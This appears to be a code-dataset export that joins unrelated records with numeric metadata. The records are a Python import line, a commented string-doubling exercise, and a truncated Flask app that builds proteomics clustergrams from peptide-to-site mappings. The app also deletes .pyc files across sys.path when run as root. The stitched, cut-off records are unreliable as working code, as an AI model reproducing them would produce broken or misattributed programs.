from deeptech.training.trainers.base_trainer import BaseTrainer from deeptech.training.trainers.supervised import SupervisedTrainer
44
67
0.893939
15
132
7.8
0.666667
0.205128
0.34188
0.478632
0
0
0
0
0
0
0
0
0.060606
132
2
68
66
0.943548
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
8
b2805a1d07a4b349e768e5850cef1474b8d1094d
237
py
Python
FirstStepsInPython/Fundamentals/Exercice/Basic Syntax Conditional Statements and Loops/04. Double Char.py
Pittor052/SoftUni-Studies
1ee6341082f6ccfa45b3e82824c37722bcf2fb31
[ "MIT" ]
null
null
null
FirstStepsInPython/Fundamentals/Exercice/Basic Syntax Conditional Statements and Loops/04. Double Char.py
Pittor052/SoftUni-Studies
1ee6341082f6ccfa45b3e82824c37722bcf2fb31
[ "MIT" ]
null
null
null
FirstStepsInPython/Fundamentals/Exercice/Basic Syntax Conditional Statements and Loops/04. Double Char.py
Pittor052/SoftUni-Studies
1ee6341082f6ccfa45b3e82824c37722bcf2fb31
[ "MIT" ]
1
2021-10-07T18:30:42.000Z
2021-10-07T18:30:42.000Z
# # 01 # some_string = input() # for i in range(len(some_string)): # print(f"{some_string[i] * 2}", end="") # # 02 # some_string = input() # for i in range(len(some_string)): # print(f"{some_string[i] + some_string[i]}", end="")
26.333333
57
0.594937
38
237
3.526316
0.368421
0.522388
0.246269
0.268657
0.835821
0.835821
0.835821
0.835821
0.835821
0.835821
0
0.025641
0.177215
237
8
58
29.625
0.661538
0.915612
0
null
0
null
0
0
null
0
0
0
null
1
null
true
0
0
null
null
null
0
0
0
null
1
1
1
1
1
1
1
1
1
0
0
0
0
1
0
0
0
1
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
12
a29483aabfaa8568f82e3b13bd71024502ac6e43
188,456
py
Python
app.py
behrouzsh/deepPhosAPI
af3b3670fd583891aa70aa523556b395cca7cd96
[ "MIT" ]
null
null
null
app.py
behrouzsh/deepPhosAPI
af3b3670fd583891aa70aa523556b395cca7cd96
[ "MIT" ]
4
2020-09-26T00:45:30.000Z
2022-02-10T01:39:36.000Z
app.py
behrouzsh/deepPhosAPI
af3b3670fd583891aa70aa523556b395cca7cd96
[ "MIT" ]
null
null
null
import os import json import fnmatch import sys import urllib2 import pandas as pd import numpy as np import clustergrammer as clustergrammer from flask import Flask, make_response, send_from_directory, request, render_template, url_for, redirect from Model.models import db from Service.ilincsService import IlincsSearch from Service.make_clustergrammer import LoadFile from scipy import stats def get_valid_pyc_files(): for import_path in sys.path: for root, dir_names, file_names in os.walk(import_path): for file_name in fnmatch.filter(file_names, '*.pyc'): pyc_file_path = os.path.join(root, file_name) py_file_path = pyc_file_path[:-1] if os.path.isfile(py_file_path): yield pyc_file_path def ensure_root(): is_root = os.geteuid() == 0 if not is_root: sys.exit('Must be run as root') #def main(): def runserver(): ensure_root() for pyc_file_path in get_valid_pyc_files(): print 'removing', pyc_file_path os.remove(pyc_file_path) port = int(os.environ.get('PORT', 4000)) app.run(host='0.0.0.0', port=port) app = Flask(__name__) # app.config['SQLALCHEMY_DATABASE_URI'] = 'postgresql://localhost/lincs2lincs' # db.init_app(app) app.secret_key = "development-key" ilincsSearch = IlincsSearch() loadFile = LoadFile() # @app.route("/") # @app.route("/home") # @app.route("/about") # @app.route("/clustergram") # @app.route("/bootstrap") # def basic_pages(): # return make_response(open('static/index.html').read()) @app.route("/api/clust/P100/") def make_clustergram_p100(): petide2ptmAndGene = { "IYQY[+80]IQSR": "Q13627[Y+80@321](DYRK1A)", "TPKDS[+80]PGIPPSANAHQLFR": "P51812[S+80@369](RPS6KA3)", "RNS[+80]SEASSGDFLDLK": "Q9UK76[S+80@87](JPT1)", "LPLVPES[+80]PRR": "Q86WB0[S+80@321](ZC3HC1)", "ANAS[+80]PQKPLDLK": "Q9Y618[S+80@956](NCOR2)", "LENS[+80]PLGEALR": "Q9NX40[S+80@108](OCIAD1)", "ANS[+80]FVGTAQYVSPELLTEK": "O15530[S+80@241](PDPK1)", "TNPPTQKPPS[+80]PPMSGR": "Q8IZP0[S+80@183](ABI1)", "SNS[+80]LPHSAVSNAGSK": "Q8TBZ3[S+80@434](WDR20)", "VGS[+80]LDNVGHLPAGGAVK": "P27816[S+80@1073](MAP4)", "AAPEAS[+80]SPPASPLQHLLPGK": "Q96TA1[S+80@691](FAM129B)", "S[+122]DKPDM[+16]AEIEKFDK": "P62328[S+122@2][M+16@7](TMSB4X)", "S[+122]DKPDMAEIEKFDK": "P62328[S+122@2](TMSB4X)", "SLS[+80]LGDKEISR": "Q9UMZ2[S+80@1075](SYNRG)", "DLVQPDKPAS[+80]PK": "Q6PJT7[S+80@515](ZC3H14)", "SPS[+80]PAHLPDDPKVAEK": "Q92615[S+80@601](LARP4B)", "S[+80]IQDLTVTGTEPGQVSSR": "O43318[S+80@439](MAP3K7)", "IHS[+80]PIIR": "O60885[S+80@1117](BRD4)", "TFS[+80]LTEVR": "O95239[S+80@801](KIF4A)", "SLVGS[+80]WLK": "Q6ICG6[S+80@362](KIAA0930)", "S[+80]PPAPGLQPMR": "P15408[S+80@200](FOSL2)", "LAS[+80]PELER": "P17535[S+80@100](JUND)", "IGPLGLS[+80]PK": "P30050[S+80@38](RPL12)", "TPS[+80]IQPSLLPHAAPFAK": "P35658[S+80@1023](NUP214)", "HAS[+80]PILPITEFSDIPR": "P42167[S+80@306](TMPO)", "LIPGPLS[+80]PVAR": "P48634[S+80@1219](PRRC2A)", "LGM[+16]LS[+80]PEGTC[+57]K": "P49327[S+80@207][M+16@205][C+57@212](FASN)", "LGMLS[+80]PEGTC[+57]K": "P49327[S+80@207][C+57@212](FASN)", "ISNLS[+80]PEEEQGLWK": "Q5HYJ3[S+80@193](FAM76B)", "VSMPDVELNLKS[+80]PK": "Q09666[S+80@3426](AHNAK)", "S[+122]DNGELEDKPPAPPVR": "Q13177[S+122@2](PAK2)", "KAYS[+80]FC[+57]GTVEYM[+16]APEVVNR": "Q15418[S+80@221][M+16@229][C+57@223](RPS6KA1)", "KAYS[+80]FC[+57]GTVEYMAPEVVNR": "Q15418[S+80@221][C+57@223](RPS6KA1)", "NDS[+80]WGSFDLR": "Q7Z417[S+80@652](NUFIP2)", "LEVTEIVKPS[+80]PK": "Q7Z6E9[S+80@1179](RBBP6)", "YGS[+80]PPQRDPNWNGER": "O15234[S+80@265](CASC3)", "QDDS[+80]PPRPIIGPALPPGFIK": "Q8IXQ4[S+80@105](GPALPP1)", "SFS[+80]ADNFIGIQR": "Q8N7R7[S+80@344](CCNYL1)", "VLS[+80]PLIIK": "Q8NCN4[S+80@403](RNF169)", "AGS[+80]PDVLR": "Q8NDX6[S+80@44](ZNF740)", "LGPGRPLPTFPTSEC[+57]TS[+80]DVEPDTR": "Q8TDD1[S+80@75][C+57@73](DDX54)", "LAAPSVSHVS[+80]PR": "Q8WXE1[S+80@224](ATRIP)", "VDDDS[+80]LGEFPVTNSR": "Q92785[S+80@142](DPF2)", "NEEPVRS[+80]PERR": "Q92922[S+80@310](SMARCC1)", "LFIIRGS[+80]PQQIDHAK": "Q92945[S+80@480](KHSRP)", "S[+80]IEVENDFLPVEK": "Q96B97[S+80@230](SH3KBP1)", "TAPTLS[+80]PEHWK": "Q96JM3[S+80@405](CHAMP1)", "VLS[+80]PTAAKPSPFEGK": "Q96QC0[S+80@313](PPP1R10)", "SSDQPLTVPVS[+80]PK": "Q9ULW0[S+80@738](TPX2)", "FYETKEESYS[+80]PSKDR": "Q96T23[S+80@473](RSF1)", "SDS[+80]PENKYSDSTGHSK": "Q9BTA9[S+80@64](WAC)", "S[+80]IPLSIK": "Q9C0C9[S+80@515](UBE2O)", "RLS[+80]QSDEDVIR": "Q9H7D7[S+80@121](WDR26)", "ATS[+80]PVKSTTSITDAK": "Q9NQW6[S+80@295](ANLN)", "ALGS[+80]PTKQLLPC[+57]EMAC[+57]NEK": "Q9NR45[S+80@275][C+57@283][C+57@287](NANS)", "YLLGDAPVS[+80]PSSQK": "Q9NYB0[S+80@203](TERF2IP)", "ANS[+80]PEKPPEAGAAHKPR": "Q9UFC0[S+80@212](LRWD1)", "SEVQQPVHPKPLS[+80]PDSR": "Q9UHB6[S+80@362](LIMA1)", "ETPHS[+80]PGVEDAPIAK": "Q9UHB6[S+80@490](LIMA1)", "SQS[+80]PHYFR": "Q9UKJ3[S+80@1035](GPATCH8)", "DRS[+80]SPPPGYIPDELHQVAR": "Q9Y2U5[S+80@163](MAP3K2)", "SPALKS[+80]PLQSVVVR": "Q9Y2W1[S+80@253](THRAP3)", "AFGSGIDIKPGT[+80]PPIAGR": "Q9Y520[T+80@2673](PRRC2C)", "SFS[+80]SQRPVDR": "Q9Y520[S+80@1544](PRRC2C)", "VYT[+80]HEVVTLWYR": "P06493[T+80@161](CDK1)", "SST[+80]PLPTISSSAENTR": "P42167[T+80@160](TMPO)", "QIT[+80]MEELVR": "Q15149[T+80@4030](PLEC)", "TQLWASEPGT[+80]PPLPTSLPSQNPILK": "Q9BXP5[T+80@544](SRRT)", "ALPQT[+80]PRPR": "Q9UQ35[T+80@1492](SRRM2)", "SMS[+80]VDLSHIPLKDPLLFK": "A0JNW5[S+80@935](UHRF1BP1L)", "S[+80]PTGPSNSFLANMGGTVAHK": "Q96I25[S+80@222](RBM17)", "S[+80]LTAHSLLPLAEK": "Q86VI3[S+80@1424](IQGAP3)", "S[+80]FAGNLNTYKR": "Q01813[S+80@386](PFKP)", "HRPS[+80]PPATPPPK": "Q8IYB3[S+80@402](SRRM1)", "LHS[+80]APNLSDLHVVRPK": "O75385[S+80@556](ULK1)", "TLGRRDS[+80]SDDWEIPDGQITVGQR": "P15056[S+80@446](BRAF)", "A[+42]TTATM[+16]ATSGS[+80]AR": "P38919[S+80@12][M+16@7][A+42@2](EIF4A3)", "A[+42]TTATMATSGS[+80]AR": "P38919[S+80@12][A+42@2](EIF4A3)", "IHVSRS[+80]PTRPR": "Q499Z4[S+80@189](ZNF672)", "RPHS[+80]PEKAFSSNPVVR": "Q53F19[S+80@500](NCBP3)", "KPNIFYSGPAS[+80]PARPR": "Q6PL18[S+80@327](ATAD2)", "TEFLDLDNSPLSPPS[+80]PR": "Q8NCF5[S+80@204](NFATC2IP)", "QGSGRES[+80]PSLASR": "Q8WWM7[S+80@339](ATXN2L)", # "TQLWASEPGT[+80]PPLPTSLPSQNPILK": "Q8WWM7[S+80@339](SRRM2)", "LQS[+80]EPESIR": "P09496[S+80@105](CLTA)", "RLIS[+80]PYKK": "O14929[S+80@361](HAT1)", "LLEDS[+80]EESSEETVSR": "O60231[S+80@103](DHX16)", "S[+80]PPAPGLQPM[+16]R": "P15408[S+80@200][M+16@209](FOSL2)", "RRLS[+80]SLR": "P62753[S+80@235](RPS6)", "RLS[+80]ESQLSFRR": "Q96PK6[S+80@618](RBM14)", "RLS[+80]LPGLLSQVSPR": "Q96Q42[S+80@483](ALS2)", "SPDKPGGS[+80]PSASRR": "Q9Y3T9[S+80@56](NOC2L)", "HLPS[+80]PPTLDSIITEYLR": "Q9Y4B6[S+80@1000](DCAF1)", "ST[+80]FHAGQLR": "Q7KZI7[T+80@596](MARK2)", "S[+80]LTNSHLEKK": "Q9H2H9[S+80@52](SLC38A1)", "LQTPNT[+80]FPKR": "Q14978[T+80@610](NOLC1)", "QIT[+80]M[+16]EELVR": "Q15149[M+16@4031][T+80@4030](PLEC)", "T[+56]K[+56]QTAR": "P68431[me0K@5](HIST1H3A)", "T[+56]K[+70]QTAR": "P68431[meK@5](HIST1H3A)", "T[+56]K[+28]QTAR": "P68431[me2K@5](HIST1H3A)", "T[+56]K[+42]QTAR-me3K": "P68431[me3K@5](HIST1H3A)", "T[+56]K[+42]QTAR-aK": "P68431[aK@5](HIST1H3A)", "K[+112.1]STGGK[+56]APR": "P68431[me0K@10][a0K@15](HIST1H3A)", "K[+126.1]STGGK[+56]APR": "P68431[meK@10](HIST1H3A)", "K[+84.1]STGGK[+56]APR": "P68431[me2K@10](HIST1H3A)", "K[+98.1]STGGK[+56]APR": "P68431[me3K@10](HIST1H3A)", "K[+98]STGGK[+56]APR": "P68431[aK@10](HIST1H3A)", "K[+112.1]STGGK[+42]APR": "P68431[aK@15](HIST1H3A)", "K[+126.1]STGGK[+42]APR": "P68431[meK@10][aK@15](HIST1H3A)", "K[+84.1]STGGK[+42]APR": "P68431[me2K@10][aK@15](HIST1H3A)", "K[+98.1]STGGK[+42]APR": "P68431[me3K@10][aK@15](HIST1H3A)", "K[+98]STGGK[+42]APR": "P68431[aK@10][aK@15](HIST1H3A)", "K[+112.1]S[+80]TGGK[+56]APR": "P68431[pS@11](HIST1H3A)", "K[+126.1]S[+80]TGGK[+56]APR": "P68431[meK@10][pS@11](HIST1H3A)", "K[+84.1]S[+80]TGGK[+56]APR": "P68431[me2K@10][pS@11](HIST1H3A)", "K[+98.1]S[+80]TGGK[+56]APR": "P68431[me3K@10][pS@11](HIST1H3A)", "K[+98]S[+80]TGGK[+56]APR": "P68431[aK@10][pS@11](HIST1H3A)", "K[+112.1]S[+80]TGGK[+42]APR": "P68431[pS@11][aK@15](HIST1H3A)", "K[+126.1]S[+80]TGGK[+42]APR": "P68431[meK@10][pS@11][aK@15](HIST1H3A)", "K[+84.1]S[+80]TGGK[+42]APR": "P68431[me2K@10][pS@11][aK@15](HIST1H3A)", "K[+98.1]S[+80]TGGK[+42]APR": "P68431[me3K@10][pS@11][aK@15](HIST1H3A)", "K[+98]S[+80]TGGK[+42]APR": "P68431[aK@10][pS@11][aK@15](HIST1H3A)", "K[+112.1]QLATK[+56]AAR": "P68431[a0K@19][a0K@24](HIST1H3A)", "K[+98]QLATK[+56]AAR": "P68431[aK@19](HIST1H3A)", "K[+112.1]QLATK[+42]AAR": "P68431[aK@24](HIST1H3A)", "K[+98]QLATK[+42]AAR": "P68431[aK@19][aK@24](HIST1H3A)", "K[+226.1]QLATK[+56]AAR": "P68431[ubK@19][a0K@24](HIST1H3A)", "K[+112.1]QLATK[+170.1]AAR": "P68431[ubK@24](HIST1H3A)", "K[+112.1]SAPATGGVK[+56]K[+56]PHR": "P68431[me0K@28][me0K@37](HIST1H3A)", "K[+126.1]SAPATGGVK[+56]K[+56]PHR": "P68431[meK@28][me0K@37](HIST1H3A)", "K[+126.1]SAPATGGVK[+70]K[+56]PHR": "P68431[meK@28][meK@37](HIST1H3A)", "K[+126.1]SAPATGGVK[+28]K[+56]PHR": "P68431[meK@28][me2K@37](HIST1H3A)", "K[+126.1]SAPATGGVK[+42]K[+56]PHR": "P68431[meK@28][me3K@37](HIST1H3A)", "K[+84.1]SAPATGGVK[+56]K[+56]PHR": "P68431[me2K@28][me0K@37](HIST1H3A)", "K[+84.1]SAPATGGVK[+70]K[+56]PHR": "P68431[me2K@28][meK@37](HIST1H3A)", "K[+84.1]SAPATGGVK[+28]K[+56]PHR": "P68431[me2K@28][me2K@37](HIST1H3A)", "K[+84.1]SAPATGGVK[+42]K[+56]PHR": "P68431[me2K@28][me3K@37](HIST1H3A)", "K[+98.1]SAPATGGVK[+56]K[+56]PHR": "P68431[me3K@28][me0K@37](HIST1H3A)", "K[+98.1]SAPATGGVK[+70]K[+56]PHR": "P68431[me3K@28][meK@37](HIST1H3A)", "K[+98.1]SAPATGGVK[+28]K[+56]PHR": "P68431[me3K@28][me2K@37](HIST1H3A)", "K[+98.1]SAPATGGVK[+42]K[+56]PHR": "P68431[me3K@28][me3K@37](HIST1H3A)", "K[+98]SAPATGGVK[+56]K[+56]PHR": "P68431[aK@28][me0K@37](HIST1H3A)", "K[+98]SAPATGGVK[+70]K[+56]PHR": "P68431[aK@28][meK@37](HIST1H3A)", "K[+98]SAPATGGVK[+28]K[+56]PHR": "P68431[aK@28][me2K@37](HIST1H3A)", "K[+98]SAPATGGVK[+42]K[+56]PHR": "P68431[aK@28][me3K@37](HIST1H3A)", "K[+112.1]SAPSTGGVK[+56]K[+56]PHR": "P84243[me0K@28][me0K@37](H3F3A)", "Y[+56]RPGTVALR": "P68431-NORM(HIST1H3A)", "Y[+56]QK[+56]STELLIR": "P68431[me0K@57](HIST1H3A)", "E[+56]IAQDFK[+56]TDLR": "P68431[me0K@80](HIST1H3A)", "E[+56]IAQDFK[+70]TDLR": "P68431[meK@80](HIST1H3A)", "E[+56]IAQDFK[+28]TDLR": "P68431[me2K@80](HIST1H3A)", "K[+112.1]SAPATGGVK[+70]K[+56]PHR": "P68431[me0K@28][meK@37](HIST1H3A)", "K[+112.1]SAPATGGVK[+28]K[+56]PHR": "P68431[me0K@28][me2K@37](HIST1H3A)", "K[+112.1]SAPATGGVK[+42]K[+56]PHR": "P68431[me0K@28][me3K@37](HIST1H3A)", "Y[+56]QK[+42]STELLIR": "P68431[aK@57](HIST1H3A)", "G[+56]K[+56]GGK[+56]GLGK[+56]GGAK[+56]R": "P62805[a0K@6][a0K@13][a0K@17](HIST1H4A)", "G[+56]K[+42]GGK[+56]GLGK[+56]GGAK[+56]R": "P62805[aK@6](HIST1H4A)", "G[+56]K[+56]GGK[+56]GLGK[+42]GGAK[+56]R": "P62805[aK@13](HIST1H4A)", "G[+56]K[+56]GGK[+56]GLGK[+56]GGAK[+42]R": "P62805[aK@17](HIST1H4A)", "G[+56]K[+56]GGK[+42]GLGK[+42]GGAK[+56]R": "P62805[aK@9][aK@13](HIST1H4A)", "G[+56]K[+42]GGK[+42]GLGK[+56]GGAK[+56]R": "P62805[aK@6][aK@9](HIST1H4A)", "G[+56]K[+42]GGK[+56]GLGK[+56]GGAK[+42]R": "P62805[aK@6][aK@17](HIST1H4A)", "G[+56]K[+56]GGK[+56]GLGK[+42]GGAK[+42]R": "P62805[aK@13][aK@17](HIST1H4A)", "G[+56]K[+56]GGK[+42]GLGK[+42]GGAK[+42]R": "P62805[aK@9][aK@13][aK@17](HIST1H4A)", "G[+56]K[+42]GGK[+42]GLGK[+42]GGAK[+56]R": "P62805[aK@6][aK@9][aK@13](HIST1H4A)", "G[+56]K[+42]GGK[+42]GLGK[+56]GGAK[+42]R": "P62805[aK@6][aK@9][aK@17](HIST1H4A)", "G[+56]K[+42]GGK[+42]GLGK[+42]GGAK[+42]R": "P62805[aK@6][aK@9][aK@13][aK@17](HIST1H4A)", "G[+56]K[+56]GGK[+56]GLGK[+56]GGAK[+70]R": "P62805[meK@17](HIST1H4A)", "K[+112.1]VLR": "P62805[me0K@21](HIST1H4A)", "K[+126.1]VLR": "P62805[meK@21](HIST1H4A)", "K[+84.1]VLR": "P62805[me2K@21](HIST1H4A)", "K[+98.1]VLR": "P62805[me3K@21](HIST1H4A)", "D[+56]AVTYTEHAK[+56]R": "P62805-NORM(HIST1H4A)", "Y[+56]QK[+28]STELLIR": "P68431[me2K@57](HIST1H3A)" } P100_data = pd.read_csv('static/data/P100-all-plates-Level4.2018_08_07.processed.csv', sep=',', header=None) print P100_data.shape # print P100_data[0] print P100_data[0][5] print P100_data[12][5] col_cell_line = [] col_pert_name = [] col_pert_dose = [] col_pert_time = [] col_pert_type = [] row_peptide = [] row_protein = [] row_gene = [] row_shorthand = [] for i in range(0, 96): row_peptide.append('Peptide: ' + str(P100_data[6][29 + i])) shorthand = petide2ptmAndGene[str(P100_data[6][29 + i])] row_shorthand.append('PTM Proteins: ' + shorthand) row_protein.append('Protein: ' + str(P100_data[11][29 + i])) row_gene.append('Gene: ' + str(P100_data[2][29 + i])) for column in range(21, P100_data.shape[1]): col_cell_line.append('Cell Line: ' + str(P100_data[column][1])) col_pert_dose.append('Dose: ' + str(P100_data[column][11]) + str(P100_data[column][12])) col_pert_time.append('Time: ' + str(P100_data[column][15])) col_pert_name.append('Perturnations: ' + str(P100_data[column][14])) if "_sg01" not in str(P100_data[column][14]) and "_sg02" not in str(P100_data[column][14]): col_pert_type.append('Type: Small Molecule') else: col_pert_type.append('Type: CRISPR') arrays_rows2 = [np.array(row_shorthand),np.array(row_peptide),np.array(row_protein),np.array(row_gene)] arrays_columns2 = [np.array(col_cell_line), np.array(col_pert_type), np.array(col_pert_name), np.array(col_pert_dose), np.array(col_pert_time)] tuples_rows2 = list(zip(*arrays_rows2)) #print tuples_rows2 tuples_columns2 = list(zip(*arrays_columns2)) #print tuples_columns2 rows_labels2 = pd.MultiIndex.from_tuples(tuples_rows2) columns_labels2 = pd.MultiIndex.from_tuples(tuples_columns2) a2 = np.matrix(P100_data.iloc[29:29+96, 21:P100_data.shape[1]].fillna(0)) aa = a2.astype(np.float) print a2 print a2.shape print columns_labels2.shape print rows_labels2.shape # {'nop': row1, 'o0p': row2, 'zaz': row3, 'zax': row4, 'oof': row5, 'oye': row6} # df = pd.DataFrame(a, index=rows_labels, columns=columns_labels) df2 = pd.DataFrame(aa, index=rows_labels2, columns=columns_labels2) #print df2 P100_all_json = loadFile.make_json_from_txt(df2) json.dump(P100_all_json, open("static/data/P100_all_clustergram.json", 'w')) return P100_all_json @app.route("/api/clust/GCP/aggregatedd/depricated/") def make_clustergram_GCP_aggregated_depricated(): petide2ptmAndGene = { "IYQY[+80]IQSR": "Q13627[Y+80@321](DYRK1A)", "TPKDS[+80]PGIPPSANAHQLFR": "P51812[S+80@369](RPS6KA3)", "RNS[+80]SEASSGDFLDLK": "Q9UK76[S+80@87](JPT1)", "LPLVPES[+80]PRR": "Q86WB0[S+80@321](ZC3HC1)", "ANAS[+80]PQKPLDLK": "Q9Y618[S+80@956](NCOR2)", "LENS[+80]PLGEALR": "Q9NX40[S+80@108](OCIAD1)", "ANS[+80]FVGTAQYVSPELLTEK": "O15530[S+80@241](PDPK1)", "TNPPTQKPPS[+80]PPMSGR": "Q8IZP0[S+80@183](ABI1)", "SNS[+80]LPHSAVSNAGSK": "Q8TBZ3[S+80@434](WDR20)", "VGS[+80]LDNVGHLPAGGAVK": "P27816[S+80@1073](MAP4)", "AAPEAS[+80]SPPASPLQHLLPGK": "Q96TA1[S+80@691](FAM129B)", "S[+122]DKPDM[+16]AEIEKFDK": "P62328[S+122@2][M+16@7](TMSB4X)", "S[+122]DKPDMAEIEKFDK": "P62328[S+122@2](TMSB4X)", "SLS[+80]LGDKEISR": "Q9UMZ2[S+80@1075](SYNRG)", "DLVQPDKPAS[+80]PK": "Q6PJT7[S+80@515](ZC3H14)", "SPS[+80]PAHLPDDPKVAEK": "Q92615[S+80@601](LARP4B)", "S[+80]IQDLTVTGTEPGQVSSR": "O43318[S+80@439](MAP3K7)", "IHS[+80]PIIR": "O60885[S+80@1117](BRD4)", "TFS[+80]LTEVR": "O95239[S+80@801](KIF4A)", "SLVGS[+80]WLK": "Q6ICG6[S+80@362](KIAA0930)", "S[+80]PPAPGLQPMR": "P15408[S+80@200](FOSL2)", "LAS[+80]PELER": "P17535[S+80@100](JUND)", "IGPLGLS[+80]PK": "P30050[S+80@38](RPL12)", "TPS[+80]IQPSLLPHAAPFAK": "P35658[S+80@1023](NUP214)", "HAS[+80]PILPITEFSDIPR": "P42167[S+80@306](TMPO)", "LIPGPLS[+80]PVAR": "P48634[S+80@1219](PRRC2A)", "LGM[+16]LS[+80]PEGTC[+57]K": "P49327[S+80@207][M+16@205][C+57@212](FASN)", "LGMLS[+80]PEGTC[+57]K": "P49327[S+80@207][C+57@212](FASN)", "ISNLS[+80]PEEEQGLWK": "Q5HYJ3[S+80@193](FAM76B)", "VSMPDVELNLKS[+80]PK": "Q09666[S+80@3426](AHNAK)", "S[+122]DNGELEDKPPAPPVR": "Q13177[S+122@2](PAK2)", "KAYS[+80]FC[+57]GTVEYM[+16]APEVVNR": "Q15418[S+80@221][M+16@229][C+57@223](RPS6KA1)", "KAYS[+80]FC[+57]GTVEYMAPEVVNR": "Q15418[S+80@221][C+57@223](RPS6KA1)", "NDS[+80]WGSFDLR": "Q7Z417[S+80@652](NUFIP2)", "LEVTEIVKPS[+80]PK": "Q7Z6E9[S+80@1179](RBBP6)", "YGS[+80]PPQRDPNWNGER": "O15234[S+80@265](CASC3)", "QDDS[+80]PPRPIIGPALPPGFIK": "Q8IXQ4[S+80@105](GPALPP1)", "SFS[+80]ADNFIGIQR": "Q8N7R7[S+80@344](CCNYL1)", "VLS[+80]PLIIK": "Q8NCN4[S+80@403](RNF169)", "AGS[+80]PDVLR": "Q8NDX6[S+80@44](ZNF740)", "LGPGRPLPTFPTSEC[+57]TS[+80]DVEPDTR": "Q8TDD1[S+80@75][C+57@73](DDX54)", "LAAPSVSHVS[+80]PR": "Q8WXE1[S+80@224](ATRIP)", "VDDDS[+80]LGEFPVTNSR": "Q92785[S+80@142](DPF2)", "NEEPVRS[+80]PERR": "Q92922[S+80@310](SMARCC1)", "LFIIRGS[+80]PQQIDHAK": "Q92945[S+80@480](KHSRP)", "S[+80]IEVENDFLPVEK": "Q96B97[S+80@230](SH3KBP1)", "TAPTLS[+80]PEHWK": "Q96JM3[S+80@405](CHAMP1)", "VLS[+80]PTAAKPSPFEGK": "Q96QC0[S+80@313](PPP1R10)", "SSDQPLTVPVS[+80]PK": "Q9ULW0[S+80@738](TPX2)", "FYETKEESYS[+80]PSKDR": "Q96T23[S+80@473](RSF1)", "SDS[+80]PENKYSDSTGHSK": "Q9BTA9[S+80@64](WAC)", "S[+80]IPLSIK": "Q9C0C9[S+80@515](UBE2O)", "RLS[+80]QSDEDVIR": "Q9H7D7[S+80@121](WDR26)", "ATS[+80]PVKSTTSITDAK": "Q9NQW6[S+80@295](ANLN)", "ALGS[+80]PTKQLLPC[+57]EMAC[+57]NEK": "Q9NR45[S+80@275][C+57@283][C+57@287](NANS)", "YLLGDAPVS[+80]PSSQK": "Q9NYB0[S+80@203](TERF2IP)", "ANS[+80]PEKPPEAGAAHKPR": "Q9UFC0[S+80@212](LRWD1)", "SEVQQPVHPKPLS[+80]PDSR": "Q9UHB6[S+80@362](LIMA1)", "ETPHS[+80]PGVEDAPIAK": "Q9UHB6[S+80@490](LIMA1)", "SQS[+80]PHYFR": "Q9UKJ3[S+80@1035](GPATCH8)", "DRS[+80]SPPPGYIPDELHQVAR": "Q9Y2U5[S+80@163](MAP3K2)", "SPALKS[+80]PLQSVVVR": "Q9Y2W1[S+80@253](THRAP3)", "AFGSGIDIKPGT[+80]PPIAGR": "Q9Y520[T+80@2673](PRRC2C)", "SFS[+80]SQRPVDR": "Q9Y520[S+80@1544](PRRC2C)", "VYT[+80]HEVVTLWYR": "P06493[T+80@161](CDK1)", "SST[+80]PLPTISSSAENTR": "P42167[T+80@160](TMPO)", "QIT[+80]MEELVR": "Q15149[T+80@4030](PLEC)", "TQLWASEPGT[+80]PPLPTSLPSQNPILK": "Q9BXP5[T+80@544](SRRT)", "ALPQT[+80]PRPR": "Q9UQ35[T+80@1492](SRRM2)", "SMS[+80]VDLSHIPLKDPLLFK": "A0JNW5[S+80@935](UHRF1BP1L)", "S[+80]PTGPSNSFLANMGGTVAHK": "Q96I25[S+80@222](RBM17)", "S[+80]LTAHSLLPLAEK": "Q86VI3[S+80@1424](IQGAP3)", "S[+80]FAGNLNTYKR": "Q01813[S+80@386](PFKP)", "HRPS[+80]PPATPPPK": "Q8IYB3[S+80@402](SRRM1)", "LHS[+80]APNLSDLHVVRPK": "O75385[S+80@556](ULK1)", "TLGRRDS[+80]SDDWEIPDGQITVGQR": "P15056[S+80@446](BRAF)", "A[+42]TTATM[+16]ATSGS[+80]AR": "P38919[S+80@12][M+16@7][A+42@2](EIF4A3)", "A[+42]TTATMATSGS[+80]AR": "P38919[S+80@12][A+42@2](EIF4A3)", "IHVSRS[+80]PTRPR": "Q499Z4[S+80@189](ZNF672)", "RPHS[+80]PEKAFSSNPVVR": "Q53F19[S+80@500](NCBP3)", "KPNIFYSGPAS[+80]PARPR": "Q6PL18[S+80@327](ATAD2)", "TEFLDLDNSPLSPPS[+80]PR": "Q8NCF5[S+80@204](NFATC2IP)", "QGSGRES[+80]PSLASR": "Q8WWM7[S+80@339](ATXN2L)", # "TQLWASEPGT[+80]PPLPTSLPSQNPILK": "Q8WWM7[S+80@339](SRRM2)", "LQS[+80]EPESIR": "P09496[S+80@105](CLTA)", "RLIS[+80]PYKK": "O14929[S+80@361](HAT1)", "LLEDS[+80]EESSEETVSR": "O60231[S+80@103](DHX16)", "S[+80]PPAPGLQPM[+16]R": "P15408[S+80@200][M+16@209](FOSL2)", "RRLS[+80]SLR": "P62753[S+80@235](RPS6)", "RLS[+80]ESQLSFRR": "Q96PK6[S+80@618](RBM14)", "RLS[+80]LPGLLSQVSPR": "Q96Q42[S+80@483](ALS2)", "SPDKPGGS[+80]PSASRR": "Q9Y3T9[S+80@56](NOC2L)", "HLPS[+80]PPTLDSIITEYLR": "Q9Y4B6[S+80@1000](DCAF1)", "ST[+80]FHAGQLR": "Q7KZI7[T+80@596](MARK2)", "S[+80]LTNSHLEKK": "Q9H2H9[S+80@52](SLC38A1)", "LQTPNT[+80]FPKR": "Q14978[T+80@610](NOLC1)", "QIT[+80]M[+16]EELVR": "Q15149[M+16@4031][T+80@4030](PLEC)", "T[+56]K[+56]QTAR": "P68431[me0K@5](HIST1H3A)", "T[+56]K[+70]QTAR": "P68431[meK@5](HIST1H3A)", "T[+56]K[+28]QTAR": "P68431[me2K@5](HIST1H3A)", "T[+56]K[+42]QTAR-me3K": "P68431[me3K@5](HIST1H3A)", "T[+56]K[+42]QTAR-aK": "P68431[aK@5](HIST1H3A)", "K[+112.1]STGGK[+56]APR": "P68431[me0K@10][a0K@15](HIST1H3A)", "K[+126.1]STGGK[+56]APR": "P68431[meK@10](HIST1H3A)", "K[+84.1]STGGK[+56]APR": "P68431[me2K@10](HIST1H3A)", "K[+98.1]STGGK[+56]APR": 